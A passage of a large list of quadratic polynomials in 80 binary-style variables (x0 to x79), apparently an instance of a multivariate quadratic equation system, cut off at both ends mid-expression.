x46*x48 + x46*x51 + x46*x52 + x46*x54 + x46*x58 + x46*x61 + x46*x62 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x71 + x46*x72 + x46*x74 + x46*x76 + x46*x79 + x46 + x47*x52 + x47*x54 + x47*x55 + x47*x57 + x47*x60 + x47*x65 + x47*x66 + x47*x67 + x47*x68 + x47*x69 + x47*x75 + x47*x78 + x48*x51 + x48*x54 + x48*x56 + x48*x62 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x72 + x48*x74 + x48*x75 + x48*x76 + x48*x77 + x48 + x49*x52 + x49*x54 + x49*x55 + x49*x58 + x49*x59 + x49*x63 + x49*x64 + x49*x65 + x49*x66 + x49*x69 + x49*x72 + x49*x76 + x49*x79 + x49 + x50*x54 + x50*x55 + x50*x57 + x50*x58 + x50*x60 + x50*x62 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x69 + x50*x74 + x50*x76 + x50*x77 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x59 + x51*x61 + x51*x64 + x51*x65 + x51*x66 + x51*x68 + x51*x70 + x51*x71 + x51*x72 + x51*x74 + x51*x75 + x51*x77 + x52*x55 + x52*x56 + x52*x57 + x52*x58 + x52*x61 + x52*x66 + x52*x70 + x52*x72 + x52*x73 + x52*x74 + x52*x76 + x53*x55 + x53*x56 + x53*x57 + x53*x59 + x53*x63 + x53*x65 + x53*x66 + x53*x69 + x53*x73 + x53*x74 + x53*x78 + x53 + x54*x55 + x54*x58 + x54*x60 + x54*x61 + x54*x63 + x54*x66 + x54*x69 + x54*x70 + x54*x77 + x54*x78 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x65 + x55*x67 + x55*x69 + x55*x70 + x55*x72 + x55*x74 + x55*x76 + x55*x77 + x55*x78 + x55 + x56*x59 + x56*x62 + x56*x63 + x56*x64 + x56*x65 + x56*x69 + x56*x72 + x56*x73 + x56*x74 + x56*x78 + x56*x79 + x56 + x57*x60 + x57*x62 + x57*x63 + x57*x64 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x70 + x57 + x58*x59 + x58*x61 + x58*x66 + x58*x68 + x58*x72 + x58*x74 + x58*x75 + x58*x77 + x58*x78 + x58 + x59*x61 + x59*x63 + x59*x66 + x59*x67 + x59*x69 + x59*x70 + x59*x73 + x59*x74 + x59*x75 + x59*x78 + x59*x79 + x59 + x60*x61 + x60*x65 + x60*x66 + x60*x67 + x60*x70 + x60*x71 + x60*x73 + x60*x74 + x60*x78 + x61*x63 + x61*x65 + x61*x66 + x61*x68 + x61*x69 + x61*x71 + x61*x72 + x61*x73 + x61*x74 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x70 + x62*x71 + x62*x73 + x62*x76 + x62*x77 + x62*x79 + x62 + x63*x64 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x72 + x63*x77 + x63*x78 + x63*x79 + x64*x65 + x64*x66 + x64*x67 + x64*x68 + x64*x70 + x64*x74 + x64*x75 + x65*x66 + x65*x67 + x65*x70 + x65*x71 + x65*x74 + x65*x77 + x65*x78 + x65*x79 + x66*x67 + x66*x68 + x66*x70 + x66*x71 + x66*x75 + x66*x77 + x66*x78 + x66*x79 + x67*x70 + x67*x71 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x78 + x67*x79 + x68*x69 + x68*x70 + x68*x72 + x68*x73 + x68*x74 + x68*x76 + x69*x70 + x69*x71 + x69*x72 + x69*x76 + x70*x71 + x70*x72 + x70*x73 + x70*x74 + x70*x77 + x70*x79 + x71*x75 + x71*x76 + x71*x77 + x71 + x72*x74 + x72*x76 + x72*x77 + x73*x75 + x73*x77 + x73 + x74*x76 + x74*x77 + x74 + x75*x78 + x75*x79 + x76*x77 + x76*x78 + x76*x79 + x76 + x77*x78 + x77*x79 + 1, x0*x5 + x0*x7 + x0*x9 + x0*x10 + x0*x12 + x0*x13 + x0*x14 + x0*x16 + x0*x17 + x0*x18 + x0*x20 + x0*x21 + x0*x22 + x0*x24 + x0*x27 + x0*x28 + x0*x32 + x0*x33 + x0*x35 + x0*x36 + x0*x38 + x0*x39 + x0*x40 + x0*x45 + x0*x46 + x0*x49 + x0*x50 + x0*x51 + x0*x52 + x0*x53 + x0*x56 + x0*x57 + x0*x59 + x0*x62 + x0*x63 + x0*x65 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x76 + x0 + x1*x3 + x1*x5 + x1*x6 + x1*x7 + x1*x10 + x1*x11 + x1*x13 + x1*x14 + x1*x16 + x1*x20 + x1*x22 + x1*x23 + x1*x24 + x1*x26 + x1*x33 + x1*x38 + x1*x39 + x1*x40 + x1*x42 + x1*x45 + x1*x46 + x1*x48 + x1*x49 + x1*x52 + x1*x53 + x1*x54 + x1*x56 + x1*x59 + x1*x60 + x1*x61 + x1*x64 + x1*x66 + x1*x67 + x1*x69 + x1*x73 + x1*x75 + x2*x3 + x2*x9 + x2*x12 + x2*x15 + x2*x18 + x2*x23 + x2*x25 + x2*x26 + x2*x29 + x2*x30 + x2*x33 + x2*x35 + x2*x39 + x2*x47 + x2*x49 + x2*x52 + x2*x53 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x62 + x2*x63 + x2*x64 + x2*x69 + x2*x70 + x2*x71 + x2*x77 + x2*x78 + x2 + x3*x6 + x3*x14 + x3*x15 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x28 + x3*x29 + x3*x30 + x3*x32 + x3*x33 + x3*x34 + x3*x36 + x3*x38 + x3*x42 + x3*x46 + x3*x47 + x3*x53 + x3*x54 + x3*x56 + x3*x57 + x3*x59 + x3*x60 + x3*x61 + x3*x68 + x3*x69 + x3*x70 + x3*x72 + x3*x73 + x3*x74 + x3*x75 + x4*x5 + x4*x6 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x18 + x4*x19 + x4*x21 + x4*x22 + x4*x23 + x4*x24 + x4*x28 + x4*x29 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x38 + x4*x40 + x4*x42 + x4*x44 + x4*x45 + x4*x47 + x4*x48 + x4*x49 + x4*x50 + x4*x52 + x4*x53 + x4*x58 + x4*x59 + x4*x60 + x4*x62 + x4*x63 + x4*x65 + x4*x66 + x4*x67 + x4*x69 + x4*x70 + x4*x74 + x4*x75 + x4*x77 + x4 + x5*x7 + x5*x10 + x5*x12 + x5*x13 + x5*x15 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x34 + x5*x35 + x5*x38 + x5*x39 + x5*x41 + x5*x43 + x5*x47 + x5*x48 + x5*x49 + x5*x52 + x5*x54 + x5*x55 + x5*x56 + x5*x57 + x5*x58 + x5*x64 + x5*x66 + x5*x68 + x5*x69 + x5*x71 + x5*x73 + x5*x77 + x5*x78 + x5 + x6*x9 + x6*x12 + x6*x13 + x6*x14 + x6*x17 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x23 + x6*x24 + x6*x27 + x6*x28 + x6*x30 + x6*x34 + x6*x35 + x6*x36 + x6*x37 + x6*x38 + x6*x42 + x6*x43 + x6*x44 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x55 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x61 + x6*x63 + x6*x64 + x6*x67 + x6*x68 + x6*x71 + x6*x72 + x6*x76 + x6*x77 + x6*x79 + x7*x10 + x7*x11 + x7*x12 + x7*x14 + x7*x17 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x27 + x7*x31 + x7*x36 + x7*x37 + x7*x38 + x7*x43 + x7*x45 + x7*x47 + x7*x48 + x7*x50 + x7*x53 + x7*x54 + x7*x55 + x7*x59 + x7*x60 + x7*x61 + x7*x66 + x7*x67 + x7*x69 + x7*x73 + x7*x74 + x7*x77 + x7*x79 + x8*x9 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x28 + x8*x32 + x8*x34 + x8*x37 + x8*x38 + x8*x40 + x8*x42 + x8*x43 + x8*x44 + x8*x46 + x8*x49 + x8*x52 + x8*x53 + x8*x57 + x8*x58 + x8*x61 + x8*x65 + x8*x66 + x8*x73 + x8*x74 + x8*x77 + x8*x78 + x8*x79 + x9*x13 + x9*x16 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x26 + x9*x29 + x9*x32 + x9*x34 + x9*x35 + x9*x37 + x9*x39 + x9*x45 + x9*x46 + x9*x48 + x9*x60 + x9*x61 + x9*x63 + x9*x64 + x9*x65 + x9*x66 + x9*x68 + x9*x71 + x9*x74 + x9*x75 + x9*x77 + x9*x79 + x9 + x10*x11 + x10*x12 + x10*x15 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x22 + x10*x24 + x10*x25 + x10*x32 + x10*x36 + x10*x41 + x10*x43 + x10*x45 + x10*x47 + x10*x50 + x10*x51 + x10*x53 + x10*x56 + x10*x57 + x10*x58 + x10*x61 + x10*x62 + x10*x64 + x10*x65 + x10*x68 + x10*x69 + x10*x71 + x10*x72 + x10*x73 + x10*x75 + x10*x77 + x10*x78 + x10*x79 + x11*x12 + x11*x14 + x11*x15 + x11*x17 + x11*x18 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x29 + x11*x37 + x11*x39 + x11*x40 + x11*x41 + x11*x44 + x11*x46 + x11*x48 + x11*x50 + x11*x51 + x11*x53 + x11*x54 + x11*x59 + x11*x63 + x11*x65 + x11*x66 + x11*x68 + x11*x69 + x11*x71 + x11*x72 + x11*x78 + x11*x79 + x11 + x12*x14 + x12*x21 + x12*x23 + x12*x25 + x12*x26 + x12*x28 + x12*x31 + x12*x32 + x12*x33 + x12*x37 + x12*x38 + x12*x39 + x12*x40 + x12*x43 + x12*x44 + x12*x46 + x12*x47 + x12*x48 + x12*x50 + x12*x52 + x12*x53 + x12*x55 + x12*x57 + x12*x58 + x12*x59 + x12*x62 + x12*x64 + x12*x65 + x12*x68 + x12*x70 + x12*x71 + x12*x73 + x12*x74 + x12*x75 + x12*x76 + x12*x78 + x12*x79 + x13*x14 + x13*x15 + x13*x18 + x13*x19 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x26 + x13*x27 + x13*x31 + x13*x33 + x13*x35 + x13*x37 + x13*x38 + x13*x39 + x13*x50 + x13*x57 + x13*x59 + x13*x60 + x13*x61 + x13*x63 + x13*x64 + x13*x65 + x13*x66 + x13*x67 + x13*x70 + x13*x71 + x13*x75 + x13*x76 + x13*x78 + x13*x79 + x14*x15 + x14*x19 + x14*x20 + x14*x21 + x14*x22 + x14*x23 + x14*x24 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x33 + x14*x39 + x14*x41 + x14*x42 + x14*x45 + x14*x49 + x14*x50 + x14*x51 + x14*x54 + x14*x55 + x14*x57 + x14*x58 + x14*x59 + x14*x60 + x14*x61 + x14*x62 + x14*x63 + x14*x65 + x14*x68 + x14*x69 + x14*x71 + x14*x73 + x14*x74 + x14*x75 + x14*x77 + x15*x19 + x15*x20 + x15*x22 + x15*x23 + x15*x25 + x15*x33 + x15*x34 + x15*x36 + x15*x39 + x15*x40 + x15*x41 + x15*x44 + x15*x46 + x15*x49 + x15*x54 + x15*x59 + x15*x61 + x15*x62 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x76 + x15*x78 + x15 + x16*x17 + x16*x18 + x16*x20 + x16*x22 + x16*x25 + x16*x26 + x16*x27 + x16*x30 + x16*x31 + x16*x32 + x16*x33 + x16*x34 + x16*x38 + x16*x39 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x46 + x16*x48 + x16*x49 + x16*x53 + x16*x54 + x16*x55 + x16*x56 + x16*x59 + x16*x62 + x16*x64 + x16*x65 + x16*x66 + x16*x67 + x16*x68 + x16*x69 + x16*x70 + x16*x78 + x16*x79 + x17*x19 + x17*x22 + x17*x24 + x17*x25 + x17*x28 + x17*x29 + x17*x31 + x17*x32 + x17*x35 + x17*x37 + x17*x38 + x17*x39 + x17*x41 + x17*x42 + x17*x43 + x17*x45 + x17*x46 + x17*x48 + x17*x49 + x17*x52 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x59 + x17*x60 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x68 + x17*x72 + x17*x73 + x17*x75 + x17*x76 + x17*x78 + x17*x79 + x17 + x18*x21 + x18*x22 + x18*x26 + x18*x31 + x18*x33 + x18*x34 + x18*x37 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x51 + x18*x54 + x18*x55 + x18*x57 + x18*x59 + x18*x62 + x18*x64 + x18*x66 + x18*x73 + x18*x74 + x18*x75 + x18*x79 + x19*x20 + x19*x24 + x19*x26 + x19*x30 + x19*x31 + x19*x32 + x19*x33 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x41 + x19*x42 + x19*x45 + x19*x46 + x19*x49 + x19*x53 + x19*x54 + x19*x55 + x19*x57 + x19*x59 + x19*x60 + x19*x65 + x19*x68 + x19*x69 + x19*x70 + x19*x74 + x19*x76 + x19*x78 + x19*x79 + x19 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x32 + x20*x37 + x20*x45 + x20*x46 + x20*x47 + x20*x50 + x20*x51 + x20*x53 + x20*x55 + x20*x58 + x20*x61 + x20*x62 + x20*x65 + x20*x71 + x20*x72 + x20*x73 + x20*x74 + x20*x75 + x20*x76 + x20*x78 + x20 + x21*x24 + x21*x25 + x21*x26 + x21*x27 + x21*x37 + x21*x39 + x21*x41 + x21*x42 + x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x50 + x21*x51 + x21*x54 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x60 + x21*x63 + x21*x64 + x21*x70 + x21*x72 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x27 + x22*x28 + x22*x29 + x22*x31 + x22*x33 + x22*x34 + x22*x35 + x22*x38 + x22*x43 + x22*x44 + x22*x45 + x22*x47 + x22*x48 + x22*x49 + x22*x55 + x22*x56 + x22*x57 + x22*x59 + x22*x60 + x22*x61 + x22*x63 + x22*x64 + x22*x68 + x22*x72 + x22*x73 + x22*x74 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x34 + x23*x35 + x23*x38 + x23*x39 + x23*x41 + x23*x43 + x23*x45 + x23*x47 + x23*x49 + x23*x51 + x23*x54 + x23*x56 + x23*x64 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x72 + x23*x75 + x23*x76 + x23 + x24*x26 + x24*x29 + x24*x31 + x24*x32 + x24*x34 + x24*x35 + x24*x36 + x24*x39 + x24*x42 + x24*x44 + x24*x46 + x24*x50 + x24*x52 + x24*x53 + x24*x56 + x24*x57 + x24*x60 + x24*x62 + x24*x64 + x24*x66 + x24*x67 + x24*x68 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x25*x29 + x25*x30 + x25*x31 + x25*x33 + x25*x34 + x25*x35 + x25*x40 + x25*x41 + x25*x43 + x25*x47 + x25*x50 + x25*x54 + x25*x55 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x65 + x25*x67 + x25*x68 + x25*x69 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x30 + x26*x34 + x26*x39 + x26*x41 + x26*x42 + x26*x43 + x26*x45 + x26*x46 + x26*x49 + x26*x50 + x26*x51 + x26*x53 + x26*x56 + x26*x57 + x26*x60 + x26*x62 + x26*x64 + x26*x65 + x26*x67 + x26*x69 + x26*x70 + x26*x71 + x26*x75 + x26*x78 + x26*x79 + x27*x30 + x27*x31 + x27*x32 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x38 + x27*x39 + x27*x43 + x27*x45 + x27*x46 + x27*x47 + x27*x48 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x57 + x27*x58 + x27*x59 + x27*x60 + x27*x61 + x27*x67 + x27*x69 + x27*x71 + x27*x73 + x27*x75 + x27*x79 + x28*x30 + x28*x31 + x28*x32 + x28*x34 + x28*x35 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x41 + x28*x42 + x28*x43 + x28*x44 + x28*x45 + x28*x46 + x28*x48 + x28*x49 + x28*x51 + x28*x52 + x28*x54 + x28*x55 + x28*x56 + x28*x59 + x28*x61 + x28*x62 + x28*x64 + x28*x65 + x28*x66 + x28*x68 + x28*x69 + x28*x70 + x28*x71 + x28*x72 + x28*x73 + x28*x76 + x28*x79 + x29*x31 + x29*x32 + x29*x35 + x29*x39 + x29*x44 + x29*x47 + x29*x48 + x29*x50 + x29*x52 + x29*x54 + x29*x56 + x29*x57 + x29*x60 + x29*x61 + x29*x64 + x29*x65 + x29*x66 + x29*x68 + x29*x70 + x29*x71 + x29*x73 + x29*x77 + x29*x78 + x30*x32 + x30*x33 + x30*x35 + x30*x36 + x30*x37 + x30*x40 + x30*x41 + x30*x42 + x30*x44 + x30*x46 + x30*x47 + x30*x55 + x30*x58 + x30*x59 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x66 + x30*x69 + x30*x71 + x30*x74 + x30*x76 + x30*x78 + x30 + x31*x33 + x31*x35 + x31*x36 + x31*x38 + x31*x39 + x31*x41 + x31*x42 + x31*x43 + x31*x46 + x31*x47 + x31*x50 + x31*x51 + x31*x52 + x31*x53 + x31*x54 + x31*x58 + x31*x61 + x31*x62 + x31*x65 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x73 + x31*x74 + x31*x77 + x32*x37 + x32*x39 + x32*x40 + x32*x46 + x32*x51 + x32*x55 + x32*x56 + x32*x59 + x32*x60 + x32*x63 + x32*x66 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x75 + x32*x76 + x32*x78 + x32 + x33*x39 + x33*x40 + x33*x42 + x33*x43 + x33*x45 + x33*x48 + x33*x49 + x33*x51 + x33*x52 + x33*x53 + x33*x55 + x33*x57 + x33*x58 + x33*x59 + x33*x62 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x70 + x33*x73 + x33*x75 + x33*x76 + x33 + x34*x35 + x34*x38 + x34*x39 + x34*x44 + x34*x45 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x53 + x34*x55 + x34*x57 + x34*x60 + x34*x61 + x34*x63 + x34*x64 + x34*x65 + x34*x67 + x34*x68 + x34*x70 + x34*x71 + x34*x73 + x34*x75 + x34 + x35*x36 + x35*x38 + x35*x42 + x35*x47 + x35*x48 + x35*x49 + x35*x50 + x35*x51 + x35*x54 + x35*x57 + x35*x58 + x35*x59 + x35*x60 + x35*x63 + x35*x66 + x35*x68 + x35*x72 + x35*x73 + x35*x75 + x35*x79 + x36*x37 + x36*x38 + x36*x41 + x36*x46 + x36*x51 + x36*x52 + x36*x53 + x36*x55 + x36*x58 + x36*x59 + x36*x62 + x36*x64 + x36*x66 + x36*x67 + x36*x70 + x36*x71 + x36*x73 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36 + x37*x38 + x37*x39 + x37*x40 + x37*x43 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x50 + x37*x56 + x37*x58 + x37*x60 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x74 + x37*x75 + x37*x76 + x37*x79 + x37 + x38*x45 + x38*x48 + x38*x53 + x38*x56 + x38*x58 + x38*x59 + x38*x60 + x38*x61 + x38*x63 + x38*x68 + x38*x69 + x38*x71 + x38*x72 + x38*x74 + x38*x75 + x38*x77 + x38 + x39*x41 + x39*x42 + x39*x43 + x39*x45 + x39*x47 + x39*x48 + x39*x51 + x39*x52 + x39*x54 + x39*x55 + x39*x57 + x39*x59 + x39*x61 + x39*x65 + x39*x66 + x39*x68 + x39*x69 + x39*x71 + x39*x72 + x39*x73 + x39*x76 + x39*x77 + x39*x78 + x39 + x40*x41 + x40*x43 + x40*x46 + x40*x47 + x40*x48 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x56 + x40*x57 + x40*x58 + x40*x59 + x40*x61 + x40*x62 + x40*x65 + x40*x67 + x40*x69 + x40*x73 + x40*x74 + x40*x76 + x40*x77 + x40*x78 + x41*x43 + x41*x44 + x41*x46 + x41*x48 + x41*x51 + x41*x53 + x41*x54 + x41*x56 + x41*x57 + x41*x58 + x41*x61 + x41*x62 + x41*x63 + x41*x65 + x41*x66 + x41*x70 + x41*x73 + x41*x79 + x41 + x42*x44 + x42*x45 + x42*x46 + x42*x49 + x42*x55 + x42*x58 + x42*x61 + x42*x63 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x73 + x42*x75 + x42*x76 + x42*x79 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x50 + x43*x51 + x43*x52 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x60 + x43*x62 + x43*x65 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x45 + x44*x46 + x44*x48 + x44*x53 + x44*x54 + x44*x55 + x44*x56 + x44*x57 + x44*x58 + x44*x61 + x44*x63 + x44*x66 + x44*x67 + x44*x70 + x44*x71 + x44*x72 + x44*x74 + x44*x76 + x45*x46 + x45*x47 + x45*x48 + x45*x54 + x45*x56 + x45*x57 + x45*x58 + x45*x60 + x45*x61 + x45*x64 + x45*x65 + x45*x66 + x45*x69 + x45*x72 + x45 + x46*x47 + x46*x48 + x46*x49 + x46*x53 + x46*x54 + x46*x56 + x46*x59 + x46*x61 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x71 + x46*x74 + x46*x75 + x46*x79 + x47*x48 + x47*x52 + x47*x53 + x47*x54 + x47*x55 + x47*x56 + x47*x57 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x70 + x47*x71 + x47*x74 + x47*x75 + x47*x76 + x47*x77 + x47 + x48*x49 + x48*x53 + x48*x54 + x48*x55 + x48*x56 + x48*x59 + x48*x60 + x48*x63 + x48*x64 + x48*x65 + x48*x68 + x48*x73 + x48*x77 + x48*x78 + x48*x79 + x48 + x49*x50 + x49*x52 + x49*x53 + x49*x56 + x49*x57 + x49*x61 + x49*x63 + x49*x65 + x49*x66 + x49*x68 + x49*x69 + x49*x70 + x49*x71 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x78 + x50*x51 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x59 + x50*x61 + x50*x64 + x50*x69 + x50*x71 + x50*x73 + x50*x74 + x50*x76 + x50*x78 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x57 + x51*x60 + x51*x62 + x51*x65 + x51*x66 + x51*x67 + x51*x68 + x51*x69 + x51*x73 + x52*x54 + x52*x55 + x52*x56 + x52*x59 + x52*x61 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x73 + x52*x74 + x52*x76 + x52*x77 + x52*x78 + x52 + x53*x55 + x53*x56 + x53*x60 + x53*x61 + x53*x62 + x53*x64 + x53*x74 + x53*x75 + x53*x77 + x53*x78 + x53*x79 + x54*x56 + x54*x57 + x54*x58 + x54*x62 + x54*x63 + x54*x64 + x54*x67 + x54*x72 + x54*x74 + x54*x79 + x54 + x55*x58 + x55*x62 + x55*x63 + x55*x64 + x55*x68 + x55*x69 + x55*x70 + x55*x73 + x55*x74 + x55*x75 + x55*x76 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x61 + x56*x62 + x56*x63 + x56*x64 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x73 + x56*x74 + x56*x75 + x56*x78 + x56*x79 + x57*x59 + x57*x60 + x57*x61 + x57*x62 + x57*x64 + x57*x65 + x57*x67 + x57*x69 + x57*x72 + x57*x76 + x57*x78 + x57 + x58*x59 + x58*x60 + x58*x62 + x58*x66 + x58*x74 + x58*x75 + x58*x79 + x59*x61 + x59*x62 + x59*x65 + x59*x66 + x59*x71 + x59*x72 + x59*x73 + x59*x74 + x59*x75 + x59*x78 + x59*x79 + x59 + x60*x63 + x60*x65 + x60*x66 + x60*x69 + x60*x70 + x60*x72 + x60*x77 + x60*x78 + x61*x62 + x61*x66 + x61*x72 + x61*x73 + x61*x74 + x61*x76 + x61*x78 + x61 + x62*x63 + x62*x64 + x62*x66 + x62*x67 + x62*x69 + x62*x70 + x62*x71 + x62*x73 + x62*x74 + x62*x75 + x62*x76 + x62*x77 + x62*x78 + x62*x79 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x76 + x63*x78 + x63*x79 + x64*x65 + x64*x68 + x64*x69 + x64*x71 + x64*x73 + x64*x74 + x64*x77 + x64*x78 + x65*x67 + x65*x69 + x65*x72 + x65*x74 + x65*x76 + x65*x78 + x65 + x66*x67 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x73 + x66*x75 + x66*x77 + x66*x78 + x66*x79 + x66 + x67*x68 + x67*x72 + x67*x75 + x67*x78 + x67 + x68*x69 + x68*x73 + x68*x74 + x68*x77 + x68*x79 + x69*x70 + x69*x72 + x69*x73 + x69*x76 + x69*x77 + x69 + x70*x75 + x70*x77 + x70*x78 + x70 + x71*x72 + x71*x74 + x71*x75 + x71*x77 + x71*x78 + x72*x74 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x73*x75 + x73*x79 + x73 + x74*x76 + x74*x77 + x74 + x75*x76 + x75*x77 + x75 + x76*x79 + x76 + x77*x78 + x77*x79 + x78 + x79 + 1, x0*x4 + x0*x6 + x0*x7 + x0*x8 + x0*x10 + x0*x11 + x0*x13 + x0*x15 + x0*x21 + x0*x22 + x0*x24 + x0*x25 + x0*x26 + x0*x27 + x0*x29 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x38 + x0*x39 + x0*x40 + x0*x43 + x0*x44 + x0*x45 + x0*x46 + x0*x48 + x0*x49 + x0*x51 + x0*x53 + x0*x54 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x60 + x0*x65 + x0*x66 + x0*x70 + x0*x71 + x0*x73 + x0*x74 + x0*x78 + x0*x79 + x1*x4 + x1*x6 + x1*x7 + x1*x8 + x1*x10 + x1*x11 + x1*x13 + x1*x14 + x1*x21 + x1*x22 + x1*x23 + x1*x24 + x1*x25 + x1*x26 + x1*x28 + x1*x32 + x1*x35 + x1*x36 + x1*x39 + x1*x43 + x1*x45 + x1*x47 + x1*x49 + x1*x52 + x1*x53 + x1*x56 + x1*x58 + x1*x60 + x1*x61 + x1*x63 + x1*x64 + x1*x65 + x1*x69 + x1*x71 + x1*x72 + x1*x73 + x2*x4 + x2*x6 + x2*x8 + x2*x9 + x2*x11 + x2*x20 + x2*x22 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x34 + x2*x35 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x43 + x2*x44 + x2*x46 + x2*x48 + x2*x50 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x61 + x2*x64 + x2*x66 + x2*x71 + x2*x73 + x2*x75 + x2*x79 + x2 + x3*x5 + x3*x6 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x14 + x3*x16 + x3*x19 + x3*x22 + x3*x23 + x3*x24 + x3*x25 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x35 + x3*x39 + x3*x40 + x3*x44 + x3*x46 + x3*x47 + x3*x50 + x3*x53 + x3*x54 + x3*x55 + x3*x57 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x69 + x3*x71 + x3*x72 + x3*x75 + x3*x77 + x3*x78 + x3 + x4*x5 + x4*x7 + x4*x11 + x4*x12 + x4*x14 + x4*x15 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x25 + x4*x27 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x38 + x4*x39 + x4*x40 + x4*x41 + x4*x43 + x4*x45 + x4*x49 + x4*x50 + x4*x52 + x4*x55 + x4*x56 + x4*x57 + x4*x60 + x4*x62 + x4*x69 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4*x76 + x4*x77 + x4*x79 + x4 + x5*x6 + x5*x7 + x5*x11 + x5*x14 + x5*x16 + x5*x18 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x27 + x5*x31 + x5*x32 + x5*x33 + x5*x36 + x5*x38 + x5*x39 + x5*x40 + x5*x42 + x5*x43 + x5*x45 + x5*x47 + x5*x48 + x5*x49 + x5*x50 + x5*x52 + x5*x55 + x5*x56 + x5*x58 + x5*x61 + x5*x64 + x5*x67 + x5*x68 + x5*x70 + x5*x71 + x5*x72 + x5*x76 + x5*x77 + x5*x78 + x6*x10 + x6*x16 + x6*x18 + x6*x20 + x6*x22 + x6*x26 + x6*x27 + x6*x29 + x6*x30 + x6*x33 + x6*x34 + x6*x37 + x6*x38 + x6*x45 + x6*x48 